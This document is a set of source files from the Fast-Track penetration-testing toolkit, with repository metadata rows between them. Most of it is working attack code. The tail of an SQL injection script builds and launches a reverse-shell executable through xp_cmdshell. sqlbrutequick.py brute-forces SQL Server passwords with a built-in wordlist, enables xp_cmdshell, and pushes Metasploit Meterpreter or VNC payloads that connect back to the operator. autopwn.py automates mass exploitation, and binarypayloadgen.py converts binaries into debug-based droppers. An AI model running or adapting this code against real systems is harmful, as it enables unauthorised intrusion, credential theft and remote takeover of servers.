eb 73 f2 28 8d 85 15 39 8b f0 36 f8 33 2a 33 eb 1b 8b 03 66 32 07 ef 22 65 20 4d fe 22 11 e1 28 2d ed 94 08 83 b9 dc b7 30 4b 74 fb 3b 3a 4d 08 a8 15 59 65 1d 67 0a 4c 13 41 1d 0f 14 eb e6 aa 0d 36 07 19 87 38 f4 b0 7f c0 55 73 11 8b 7d 0c c6 17 b8 02 7f 82 a2 13 9d 68 b0 a0 58 34 33 0d 46 0d e6 d1 f7 e1 fe 58 a3 ee >15.txt';exec master..xp_cmdshell 'echo e 0480 >16.txt';exec master..xp_cmdshell 'echo e7 44 bb 1f 16 a9 ce 11 04 de 55 01 3c d4 14 d4 0e 1b 33 c0 4e ec 87 0b 70 d2 8a 06 46 3d 3c 02 b3 12 0e f7 df 90 eb 0b 2c 30 19 8d 0c 89 06 48 83 2d 0a c0 75 f1 e8 04 11 33 51 c2 38 e2 30 83 c4 07 f4 6a f5 e8 69 09 19 49 ff bd 82 aa 20 0b d0 2a 93 75 37 f8 50 22 9d 29 86 06 fc e8 4d 2f 68 8b 24 38 e6 53 1a 0f 08 8d 50 03 21 18 83 c0 04 e3 f9 ff fe 80 02 f7 d3 23 cb 81 e1 44 80 74 >17.txt' ;exec master..xp_cmdshell 'echo e7 44 bb 1f 16 a9 ce 11 04 de 55 01 3c d4 14 d4 0e 1b 33 c0 4e ec 87 0b 70 d2 8a 06 46 3d 3c 02 b3 12 0e f7 df 90 eb 0b 2c 30 19 8d 0c 89 06 48 83 2d 0a c0 75 f1 e8 04 11 33 51 c2 38 e2 30 83 c4 07 f4 6a f5 e8 69 09 19 49 ff bd 82 aa 20 0b d0 2a 93 75 37 f8 50 22 9d 29 86 06 fc e8 4d 2f 68 8b 24 38 e6 53 1a 0f 08 8d 50 03 21 18 83 c0 04 e3 f9 ff fe 80 02 f7 d3 23 cb 81 e1 44 80 74 >17.txt';exec master..xp_cmdshell 'echo e 0500 >18.txt';exec master..xp_cmdshell 'echo 7c e9 6c c1 0c 60 75 77 06 f4 10 c0 40 02 d0 e1 1b c2 51 5b 3a 47 c4 49 19 ca 0c 57 06 08 30 00 00 30 40 00 63 30 6d 64 00 66 3f 40 00 14 38 20 40 03 77 73 32 5f 33 98 2e 64 6c e3 c0 80 67 07 65 74 68 6f 73 40 62 79 6e 61 7b 6d cf 1e 63 9e 3c f7 eb ff 0e 12 57 53 41 5d cf 61 72 46 75 70 18 79 68 ca 2c 73 13 4f 26 63 6b 62 ef c1 ff b8 03 6c 95 1a 72 ca 5e 6c 4c c7 57 d3 69 74 f3 46 >19.txt';exec master..xp_cmdshell 'echo e 0580 >20.txt';exec master..xp_cmdshell 'echo a7 bc 91 47 c3 4c 43 6f 6d 88 61 6e 64 36 4c 69 44 62 7e 80 76 72 fb 9d 3a 50 b7 82 e7 73 15 41 58 21 c0 64 48 d0 43 2f 60 00 00 00 00 00 66 3f 40 00 4c 6f 61 64 4c 69 62 72 61 72 79 41 00 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 40 00 00 e9 74 be ff ff 00 00 00 02 00 00 00 0c 40 00 00 >21.txt';exec master..xp_cmdshell 'echo r cx >22.txt';exec master..xp_cmdshell 'echo 04ef >23.txt';exec master..xp_cmdshell 'echo w >24.txt';exec master..xp_cmdshell 'echo q >25.txt';exec master..xp_cmdshell 'type 1.txt > reverse.txt';exec master..xp_cmdshell 'type 2.txt >> reverse.txt';exec master..xp_cmdshell 'type 3.txt >> reverse.txt';exec master..xp_cmdshell 'type 4.txt >> reverse.txt';exec master..xp_cmdshell 'type 5.txt >> reverse.txt';exec master..xp_cmdshell 'type 6.txt >> reverse.txt';exec master..xp_cmdshell 'type 7.txt >> reverse.txt';exec master..xp_cmdshell 'type 8.txt >> reverse.txt';exec master..xp_cmdshell 'type 9.txt >> reverse.txt';exec master..xp_cmdshell 'type 10.txt >> reverse.txt';exec master..xp_cmdshell 'type 11.txt >> reverse.txt';exec master..xp_cmdshell 'type 12.txt >> reverse.txt';exec master..xp_cmdshell 'type 13.txt >> reverse.txt';exec master..xp_cmdshell 'type 14.txt >> reverse.txt';exec master..xp_cmdshell 'type 15.txt >> reverse.txt';exec master..xp_cmdshell 'type 16.txt >> reverse.txt';exec master..xp_cmdshell 'type 17.txt >> reverse.txt';exec master..xp_cmdshell 'type 18.txt >> reverse.txt';exec master..xp_cmdshell 'type 19.txt >> reverse.txt';exec master..xp_cmdshell 'type 20.txt >> reverse.txt';exec master..xp_cmdshell 'type 21.txt >> reverse.txt';exec master..xp_cmdshell 'type 22.txt >> reverse.txt';exec master..xp_cmdshell 'type 23.txt >> reverse.txt';exec master..xp_cmdshell 'type 24.txt >> reverse.txt';exec master..xp_cmdshell 'type 25.txt >> reverse.txt';exec master..xp_cmdshell 'debug<reverse.txt';exec master..xp_cmdshell 'copy service.dll reverse.exe';exec master ..xp_cmdshell 'del 1.txt';exec master ..xp_cmdshell 'del 2.txt';exec master ..xp_cmdshell 'del 3.txt';exec master ..xp_cmdshell 'del 4.txt';exec master ..xp_cmdshell 'del 5.txt';exec master ..xp_cmdshell 'del 6.txt';exec master ..xp_cmdshell 'del 7.txt';exec master ..xp_cmdshell 'del 8.txt';exec master ..xp_cmdshell 'del 9.txt';exec master ..xp_cmdshell 'del 10.txt';exec master ..xp_cmdshell 'del 11.txt';exec master ..xp_cmdshell 'del 12.txt';exec master ..xp_cmdshell 'del 13.txt';exec master ..xp_cmdshell 'del 14.txt';exec master ..xp_cmdshell 'del 15.txt';exec master ..xp_cmdshell 'del 16.txt';exec master ..xp_cmdshell 'del 17.txt';exec master ..xp_cmdshell 'del 18.txt';exec master ..xp_cmdshell 'del 19.txt';exec master ..xp_cmdshell 'del 20.txt';exec master ..xp_cmdshell 'del 21.txt';exec master ..xp_cmdshell 'del 22.txt';exec master ..xp_cmdshell 'del 23.txt';exec master ..xp_cmdshell 'del 24.txt';exec master ..xp_cmdshell 'del 25.txt';exec master ..xp_cmdshell 'del reverse.txt';exec master ..xp_cmdshell 'del service.dll';exec master..xp_cmdshell 'reverse.exe %s 4444'--""" % (ipaddr)) print " [-] The PAYLOAD is being delivered. This can take up to two minutes. [-]\n" a=urlopen(form.click()).read() pause=raw_input("\n[-] Fast-Track is finished. Press enter to exit.. [-]") print "\n\n" x = x + 1 try: check = str(forms[x]) except IndexError: check = '[]' except IndexError: print "\n No forms detected on the page, exiting Fast-Track...\n" except KeyboardInterrupt: cleanup=os.popen2("rm parse.txt 2> /dev/null;rm parse2.txt 2> /dev/null") print "\n Exiting Fast-Track....\n" time.sleep(5) except Exception, e: cleanup=os.popen2("rm parse.txt 2> /dev/null;rm parse2.txt 2> /dev/null") print " Sorry, they probably aren't suseptible...printing error message: \n"+str(e) time.sleep(5)
11,739
Python
.py
99
114.20202
8,130
0.6865
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,341
sqlbrutequick.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/sqlbrutequick.py
#!/usr/bin/env python import _mssql import sys import os import time import re import subprocess import pexpect import socket definepath=os.getcwd() try: import psyco psyco.full() except ImportError: pass try: username=sys.argv[5] except IndexError: username=raw_input("Enter username for SQL database (example:sa): ") # define metasploit path meta_path=file("%s/config/fasttrack_config" % (definepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line # Define payload delivery here import sqlping def Payload_Delivery(choice,jumptosession): try: ipaddr=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ipaddr.connect(('google.com', 0)) ipaddr.settimeout(2) ipaddr=ipaddr.getsockname()[0] except Exception: print "No internet connection detected, please enter your IP Address in manually." ipaddr=raw_input("Enter your IP here: ") port=raw_input("What port do you want the payload to connect to you on: ") if choice=='2': print "Metasploit Reverse VNC Upload Detected.." print "Launching MSFCLI VNC Handler." msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-60-* -T "Fast-Track SQL Bruter Metasploit VNC Inject Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port)) print "Creating Metasploit Reverse VNC Payload.." msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/vncinject/reverse_tcp LHOST=%s LPORT=%s AUTOVNC=true X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait() print "Prepping 64KB Debug Bypass stager for delivery..." h2bread=file("%s/bin/ftsrc/payload/h2b" % definepath,"r").readlines() query5=("""xp_cmdshell 'del h2bdelivery'""") time.sleep(5) printquery=mssql.execute_query(query5) for line1 in h2bread: line1=line1.rstrip() query5=("""xp_cmdshell '%s >> h2bdelivery'""" % (line1)) printquery=mssql.execute_query(query5) temp = line1.replace("echo ", "") print "Sending Payload: " + temp print "Converting our stager to an executable..." query5=("""xp_cmdshell 'debug<h2bdelivery'""") printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'rename MOO.BIN h2b.exe'""") printquery=mssql.execute_query(query5) print "Stager delivery complete." print "Coverting Metasploit to hex." import binascii filedelete=subprocess.Popen("rm %s/bin/appdata/metasploithex 2> /dev/null" % (definepath), shell=True).wait() filedelete=subprocess.Popen("rm %s/bin/appdata/metasploitdeliver 2> /dev/null" % (definepath), shell=True).wait() fileopen=file("%s/bin/appdata/metasploit" % (definepath), 'rb').readlines() filewrite=file("%s/bin/appdata/metasploithex" % (definepath),"w") for line in fileopen: line=binascii.hexlify(line) filewrite.write(line) filewrite.close() print "Done with payload hex conversion." print "Splitting payload for delivery, this may take a couple..." fileopen=open("%s/bin/appdata/metasploithex" % (definepath)) createdel=subprocess.Popen("touch %s/bin/appdata/metasploitdeliver" % (definepath), shell=True).wait() filewrite=file("%s/bin/appdata/metasploitdeliver" % (definepath), "w") while fileopen: a=fileopen.read(900).rstrip() if a == "": break filewrite.write(a) filewrite.write("\n") filewrite.close() query5=("""xp_cmdshell 'del metasploit*'""") printquery=mssql.execute_query(query5) fileopen=file("%s/bin/appdata/metasploitdeliver" % (definepath), "r").readlines() import random randomgen=random.randrange(1,10000) for line in fileopen: line=line.rstrip() query5=("""xp_cmdshell 'echo %s>>metasploit%s'""" % (line,randomgen)) printquery=mssql.execute_query(query5) print "Sending payload: "+line print "Metasploit payload delivered.." print "Converting our payload to binary, this may take a few..." query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'del h2b.exe'""") printquery=mssql.execute_query(query5) print "Launching payload, this could take up to a minute..." print "When finished, close the metasploit handler window to return to other compromised SQL Servers." query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) pause=raw_input("Press enter to return back to compromised SQL Servers.") if choice=='3': print "Metasploit Reverse Meterpreter Upload Detected.." print "Launching Meterpreter Handler." msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Bruter Metasploit Meterpreter Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port)) print "Creating Metasploit Reverse Meterpreter Payload.." msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait() print "Prepping 64KB Debug Bypass stager for delivery..." h2bread=file("%s/bin/ftsrc/payload/h2b" % definepath,"r").readlines() query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) for line1 in h2bread: line1=line1.rstrip() query5=("""xp_cmdshell '%s >> h2bdelivery'""" % (line1)) printquery=mssql.execute_query(query5) temp=line1.replace("echo e ", "") print "Sending Payload: " + temp print "Converting our stager to an executable..." query5=("""xp_cmdshell 'debug<h2bdelivery'""") printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'rename MOO.BIN h2b.exe'""") printquery=mssql.execute_query(query5) print "Stager delivery complete." print "Coverting Metasploit to hex." import binascii filedelete=subprocess.Popen("rm %s/bin/appdata/metasploithex 2> /dev/null" % (definepath), shell=True).wait() filedelete=subprocess.Popen("rm %s/bin/appdata/metasploitdeliver 2> /dev/null" % (definepath), shell=True).wait() fileopen=file("%s/bin/appdata/metasploit" % (definepath), 'rb').readlines() filewrite=file("%s/bin/appdata/metasploithex" % (definepath),"w") for line in fileopen: line=binascii.hexlify(line) filewrite.write(line) filewrite.close() print "Done with payload hex conversion." print "Splitting payload for delivery, this may take a couple..." fileopen=open("%s/bin/appdata/metasploithex" % (definepath)) createdel=subprocess.Popen("touch %s/bin/appdata/metasploitdeliver" % (definepath), shell=True).wait() filewrite=file("%s/bin/appdata/metasploitdeliver" % (definepath), "w") while fileopen: a=fileopen.read(900).rstrip() if a == "": break filewrite.write(a) filewrite.write("\n") filewrite.close() query5=("""xp_cmdshell 'del metasploit*'""") printquery=mssql.execute_query(query5) fileopen=file("%s/bin/appdata/metasploitdeliver" % (definepath), "r").readlines() import random randomgen=random.randrange(1,10000) for line in fileopen: line=line.rstrip() query5=("""xp_cmdshell 'echo %s>>metasploit%s'""" % (line,randomgen)) printquery=mssql.execute_query(query5) print "Sending payload: "+line print "Metasploit payload delivered.." print "Converting our payload to binary, this may take a few..." query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'del h2b.exe'""") printquery=mssql.execute_query(query5) print "Launching payload, this could take up to a minute..." print "When finished, close the metasploit handler window to return to other compromised SQL Servers." query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) pause=raw_input("Press enter to return back to compromised SQL Servers.") # choice 4 = metasploit reflective vnc payload if choice=='4': print "Metasploit Reflective Reverse VNC Upload Detected.." print "Launching Meterpreter Handler." msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Bruter Metasploit Reflective VNC Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/reflectivevncinject/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port)) print "Creating Metasploit Reverse VNC Payload.." msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/reflectivevncinject/reverse_tcp LHOST=%s LPORT=%s X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait() print "Prepping 64KB Debug Bypass stager for delivery..." h2bread=file("%s/bin/ftsrc/payload/h2b" % definepath,"r").readlines() query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) for line1 in h2bread: line1=line1.rstrip() query5=("""xp_cmdshell '%s >> h2bdelivery'""" % (line1)) printquery=mssql.execute_query(query5) temp=line1.replace("echo e ", "") print "Sending Payload: " + temp print "Converting our stager to an executable..." query5=("""xp_cmdshell 'debug<h2bdelivery'""") printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'rename MOO.BIN h2b.exe'""") printquery=mssql.execute_query(query5) print "Stager delivery complete." print "Coverting Metasploit to hex." import binascii filedelete=subprocess.Popen("rm %s/bin/appdata/metasploithex 2> /dev/null" % (definepath), shell=True).wait() filedelete=subprocess.Popen("rm %s/bin/appdata/metasploitdeliver 2> /dev/null" % (definepath), shell=True).wait() fileopen=file("%s/bin/appdata/metasploit" % (definepath), 'rb').readlines() filewrite=file("%s/bin/appdata/metasploithex" % (definepath),"w") for line in fileopen: line=binascii.hexlify(line) filewrite.write(line) filewrite.close() print "Done with payload hex conversion." print "Splitting payload for delivery, this may take a couple..." fileopen=open("%s/bin/appdata/metasploithex" % (definepath)) createdel=subprocess.Popen("touch %s/bin/appdata/metasploitdeliver" % (definepath), shell=True).wait() filewrite=file("%s/bin/appdata/metasploitdeliver" % (definepath), "w") while fileopen: a=fileopen.read(900).rstrip() if a == "": break filewrite.write(a) filewrite.write("\n") filewrite.close() query5=("""xp_cmdshell 'del metasploit*'""") printquery=mssql.execute_query(query5) fileopen=file("%s/bin/appdata/metasploitdeliver" % (definepath), "r").readlines() import random randomgen=random.randrange(1,10000) for line in fileopen: line=line.rstrip() query5=("""xp_cmdshell 'echo %s>>metasploit%s'""" % (line,randomgen)) printquery=mssql.execute_query(query5) print "Sending payload: "+line print "Metasploit payload delivered.." print "Converting our payload to binary, this may take a few..." query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'del h2b.exe'""") printquery=mssql.execute_query(query5) print "Launching payload, this could take up to a minute..." print "When finished, close the metasploit handler window to return to other compromised SQL Servers." query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) pause=raw_input("Press enter to return back to compromised SQL Servers.") writefile=file("bin/appdata/sqlpassword","w") writefile.write("password2\n\npassword\nsqlserver\nsql\npassword1\npassword123\ncomplexpassword\ndatabase\nserver\nchangeme\nchange\nsqlserver2000\nsqlserver2005\nSqlserver\nSqlServer\nPassword1\nPassword2\nP@ssw0rd\nP@ssw0rd!\nP@55w0rd!\nP@ssword!\nPassword!\npassword!\nsqlsvr\nsqlaccount\naccount\nsasa\nsa\nadministator\npass\nsql\nsqlsql\nmicrosoft\nsqlserver\nsa\nsasa\nwelcome\nsqlpass\nsqlpassword\nguessme\nbird\nP@55w0rd!\ntest\ndev\nqa\ngod\nsysadmin\nwater\ndirt\nair\nearth\ncompany\nsecret\nsqlpass123\n123456\nabcd123\nabc\nburp\nprivate\nunknown\nwicked\nalpine\ntrust\nmicrosoft\nsql2000\nsql2003\nsql2005\nsql2008\nvista\nxp\nnt\n98\n95\n2003\n2008") writefile.close() print "Brute forcing username: "+username+"\n" print "Be patient this could take awhile...\n" rmold=subprocess.Popen("rm bin/appdata/sqlsuccesslist.txt 2> /dev/null", shell=True) rmold=subprocess.Popen("rm bin/appdata/*comp 2> /dev/null", shell=True) try: for line in open('bin/appdata/sqlopen.txt','r').readlines(): counter=0 for line2 in open('bin/appdata/sqlpassword','r').readlines(): try: line2=line2.rstrip() print "Brute forcing password of %s on IP %s" % (line2,line) mssql = _mssql.connect('%s' % (line),'%s' % (username),'%s' % (line2)) print 'SQL Server Compromised: "%s" with password of: "%s" on IP %s' % (username,line2,line) counter=counter+1 filewrites=open("bin/appdata/sqlsuccesslist.txt", "a") line=line.rstrip() if counter == 1: filewrites.write("%s,%s,%s" % (username,line2,line)+ '\n').rstrip() counter=0 except Exception: pass except Exception : pass try: filewrites.close() except Exception: pass if os.path.isfile("bin/appdata/sqlsuccesslist.txt"): while 1==1: try: fileread=open("bin/appdata/sqlsuccesslist.txt","r").readlines() count=1 print "\n*******************************************\nThe following SQL Servers were compromised:\n*******************************************\n" for line in fileread: line=line.rstrip() line=tuple(line.split(",")) print str(count)+". "+str(line[2]).rstrip()+ " *** U/N: "+str(line[0]).rstrip()+" P/W: "+str(line[1]).rstrip()+" ***" compsystem=open("bin/appdata/%scomp" % (count), "w") compsystem.write("%s,%s,%s" % (line[2],line[0],line[1])) count=int(count)+1 except Exception,e: print e compsystem.close() print "\n*******************************************\n" print "To interact with system, enter the SQL Server number. \n\nExample: 1. 192.168.1.32 you would type 1" jumptosession=raw_input("\nEnter the number: ") if jumptosession == 'quit': print "\n\nExiting Fast-Track...\n\n" rmold=subprocess.Popen("rm bin/appdata/*comp 2> /dev/null;rm bin/appdata/sqlsuccesslist.txt 2> /dev/null;rm sqlopen.txt 2> /dev/null;rm SqlScan.txt 2> /dev/null;rm sqlpassword 2> /dev/null", shell=True).wait() sys.exit() try: fileread2=file("bin/appdata/%scomp" % (jumptosession),"r").readlines() except Exception: print "\nEnter the number of the session only. Example 1. 192.168.1.32. You would enter 1" jumptosession=raw_input("\nEnter the number of the SQL Server to jump interactive with. Example 1: ") try: choice=sys.argv[6] except Exception, e: choice=raw_input("""Specify payload: 1. Standard Command Prompt 2. Metasploit Reverse VNC TCP (Requires Metasploit) 3. Metasploit Meterpreter (Requires Metasploit) 4. Metasploit Reflective VNC DLL Injection (Requires Metasploit) Enter number here: """) fileread2=file("bin/appdata/%scomp" % (jumptosession),"r").readlines() for line in fileread2: line=line.rstrip() line=tuple(line.split(",")) mssql = _mssql.connect('%s' % (line[0]),'%s' % (line[1]),'%s' % line[2]) print "\nEnabling: XP_Cmdshell..." enablexp="EXEC sp_configure 'show advanced options', 1; RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;" enablexp2="RECONFIGURE;" try: printquery1=mssql.execute_query(enablexp) except Exception: pass try: printquery2=mssql.execute_query(enablexp2) except Exception: pass mssql.select_db('master') print "Finished trying to re-enable xp_cmdshell stored procedure if disabled.\n" if choice == '1': print 'Jumping you into a shell one moment..\n' print '\nYou can always type "quit" to continue on to a seperate server.\n' time.sleep(2) mssql.select_db('master') while 1 == 1 : commandprompt=raw_input("Enter your shell commands here: ") if commandprompt == 'quit' : break try: query3="xp_cmdshell '%s'" % commandprompt printquery=mssql.execute_query(query3) for line in mssql: line=str(line) match=re.search("""\(\(\(\'output\'\, 1\)\,\)\, -1\, \[\(""", line) if match: line=line.replace("""((('output', 1),), -1, [(""", "") line=line.replace(r"""\\\\\r""", "") line=line.replace("""(None""", "") line=line.replace("""('""", "") line=line.replace("""',),""", "\n") line=line.replace(""",)])""", "\n") line=line.replace(""",),""", "\n") line=line.replace("'","") line=line.replace(r"\r","") line=line.replace(r"\t","") line=line.replace("None","") line=line.replace(r"""The command completed with one or more errors.""", "\n") print "\n\nShell brought to you by Fast-Track: Happy pwning" + "\n\n"+line except Exception: pass if choice == '2': try: Payload_Delivery(choice,jumptosession) except Exception, e: print e if choice == '3': try: Payload_Delivery(choice,jumptosession) except Exception, e: print e if choice == '4': try: Payload_Delivery(choice,jumptosession) except Exception, e: print e if choice == '5': try: Payload_Delivery(choice,jumptosession) except Exception, e: print e if not os.path.isfile("bin/appdata/sqlsuccesslist.txt"): print "Sorry the brute force attack was unsuccessful. Better luck next time!\n" deloldfile=subprocess.Popen("rm sqlpassword 2> /dev/null;rm SqlScan.txt 2> /dev/null;rm sqlopen.txt 2> /dev/null;rm bin/appdata/1comp 2> /dev/null;rm bin/appdata/metasploit 2> /dev/null;rm metasploitdeliver 2> /dev/null;rm metasploithex 2> /dev/null;rm sqlsuccesslist.txt 2> /dev/null", shell=True).wait()
21,517
Python
.py
389
44.115681
668
0.612174
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,342
include.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/include.py
#!/usr/bin/env python import os import re import time # Compile a regex for faster searching re_distrofile = re.compile ('BackTrack.+') def get_version(): readversion=file("bin/version/version","r") for line in readversion: version=line.rstrip() return version # # Class for colors # class bcolors: PURPLE = '\033[95m' BLUE = '\033[94m' GREEN = '\033[92m' YELLOW = '\033[93m' RED = '\033[91m' BOLD = '\033[1m' ENDC = '\033[0m' def disable(self): self.PURPLE = '' self.BLUE = '' self.GREEN = '' self.YELLOW = '' self.RED = '' self.ENDC = '' def print_banner(): time.sleep(1) os.system("clear") print bcolors.BLUE + """ [---] [---] [---] Fast Track: A new beginning [---] [---] Written by:""" + bcolors.RED+""" David Kennedy """+bcolors.BLUE+"""("""+bcolors.YELLOW+"""ReL1K"""+bcolors.BLUE+""") [---] [---] Lead Developer:""" + bcolors.RED+""" Joey Furr """+bcolors.BLUE+"""("""+bcolors.YELLOW+"""j0fer"""+bcolors.BLUE+""") [---] [---] Version: """ + bcolors.RED + """4.0.1""" + bcolors.BLUE +""" [---] [---] Homepage: """ + bcolors.YELLOW + """http://www.secmaniac.com""" + bcolors.BLUE + """ [---] [---] [---] """ + bcolors.ENDC ### OLD CODE #def print_banner(): # os.system("clear") # print ''' ***************************************************************** # ** ** # ** Fast-Track - A new beginning... ** # ** Version: 4.0.2 ** # ** Written by: David Kennedy (ReL1K) ** # ** Lead Developer: Joey Furr (j0fer) ** # ** http://www.secmaniac.com ** # ** ** # *****************************************************************'''
2,162
Python
.py
53
36.962264
145
0.387804
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,343
autopwn.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/autopwn.py
#!/usr/bin/env python import pexpect import sys import os import time import re definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include try: import psyco psyco.full() except ImportError: pass try: ipaddr=sys.argv[3] except IndexError: include.print_banner() ipaddr=raw_input(""" Metasploit Autopwn Automation: http://www.metasploit.com This tool specifically piggy backs some commands from the Metasploit Framework and does not modify the Metasploit Framework in any way. This is simply to automate some tasks from the autopwn feature already developed by the Metasploit crew. Simple, enter the IP ranges like you would in NMap i.e. 192.168.1.-254 or 192.168.1.1/24 or whatever you want and it'll run against those hosts. Additionally you can place NMAP commands within the autopwn ip ranges bar, for example, if you want to scan even if a host "appears down" just do -PN 192.168.1.1-254 or whatever...you can use all NMap syntaxes in the Autopwn IP Ranges portion. When it has completed exploiting simply type this: sessions -l (lists the shells spawned) sessions -i <id> (jumps you into the sessions) Example 1: -PN 192.168.1.1 Example 2: 192.168.1.1-254 Example 3: -P0 -v -A 192.168.1.1 Example 4: 192.168.1.1/24 Enter the IP ranges to autopwn or (q)uit FastTrack: """) if ipaddr == 'quit' or ipaddr == 'q': print "\n\nExiting Fast-Track autopwn...\n\n" sys.exit() # Spawn instance of msfconsole try: option1=sys.argv[4] except IndexError: option1=raw_input(""" Do you want to do a bind or reverse payload? Bind = direct connection to the server Reverse = connection originates from server 1. Bind 2. Reverse Enter number: """) if option1 == 'quit' or option1 == 'q': print "\n\n Exiting Fast-Track autopwn...\n\n" sys.exit() if option1 == '1': option1='-b' if option1 == '2': option1='-r' print " Launching MSFConsole and prepping autopwn..." # define metasploit path meta_path=file("%s/config/fasttrack_config" % (definepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line try: child1 = pexpect.spawn('msfconsole') # load sqlite3 child1.sendline ('db_driver postgresql') # run actual port scans child1.sendline ('''db_nmap %s ''' % (ipaddr)) # run actual exploitation child1.sendline ('db_autopwn -p -t -e %s' % (option1)) child1.sendline ('sleep 5') child1.sendline ('jobs -K') child1.sendline ('\n\n\n') child1.sendline ('sessions -l') child1.sendline ('echo "If it states No sessions, then you were unsuccessful. Simply type sessions -i <id> to jump into a shell"') # jump to pid child1.interact() except Exception, e: print e print "\n Exiting Fast-Track...\n"
2,963
Python
.py
85
31.070588
133
0.700454
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,344
binarypayloadgen.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/binarypayloadgen.py
#!/usr/bin/env python import os import sys import time import subprocess definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include include.print_banner() try: import psyco psyco.full() except ImportError: pass try: define=sys.argv[3] except IndexError: print """Binary to Hex Generator v0.1 This menu will convert an exe to a hex file which you just need to copy and paste the output to a windows command prompt, it will then generate an executable based on your payload **Note** Based on Windows restrictions the file cannot be over 64kb <ctrl>-c to Cancel """ define=raw_input(" Enter the path to the file to convert to hex: ") output="binarypayload.txt" from sys import exit, stdout throwerror=300 filesize = lambda x,n: stdout.write(x+'\n') or throwerror#(n)#exit(n) try: fileopen,writefile = open(define,'rb'),open(output,'w') except: print " Something went wrong...." FOOTER = ''.join(map(lambda x:"echo "+x+">>T\n", ["RCX","%X ","N T.BIN","WDS:0","Q"])) FOOTER += 'DEBUG<T 1>NUL\nMOVE T.BIN binary.exe 1>NUL 2>NUL' FC,CX = 0, fileopen.seek(0,2) or fileopen.tell() if (CX > 0xFFFF): fileopen.close(); writefile.close() filesize('[!] filesize exceeds 64kb, quitting.',1); fileopen.seek(0,0) writefile.write('DEL T 1>NUL 2>NUL\n') try: for chunk in xrange(0x1000): finalwrite = fileopen.read(16) or writefile.write(FOOTER%CX) or filesize("",0) if finalwrite.count('\0')==0x10: FC += 1 else: if FC > 0: writefile.write('echo FDS:%X L %X 00>>T\n'%((chunk-FC)*0x10,FC*0x10)) FC = 0 writefile.write('echo EDS:%X '%(chunk*0x10)) writefile.write(' '.join(map(lambda x:"%02X"%ord(x),finalwrite))+'>>T\n') except Exception: print "Finished..." print "Check out the file 'binarypayload.txt' in the Fast-Track directory." # Removed old call for os.system, no longer supported #kateopen=os.system(r"kwrite %s 2> /dev/null &" % (output)) #kateopen=subprocess.Popen(r"kwrite %s 1> /dev/null 2> /dev/null &" % (output), shell=True)
2,085
Python
.py
56
33.946429
91
0.685672
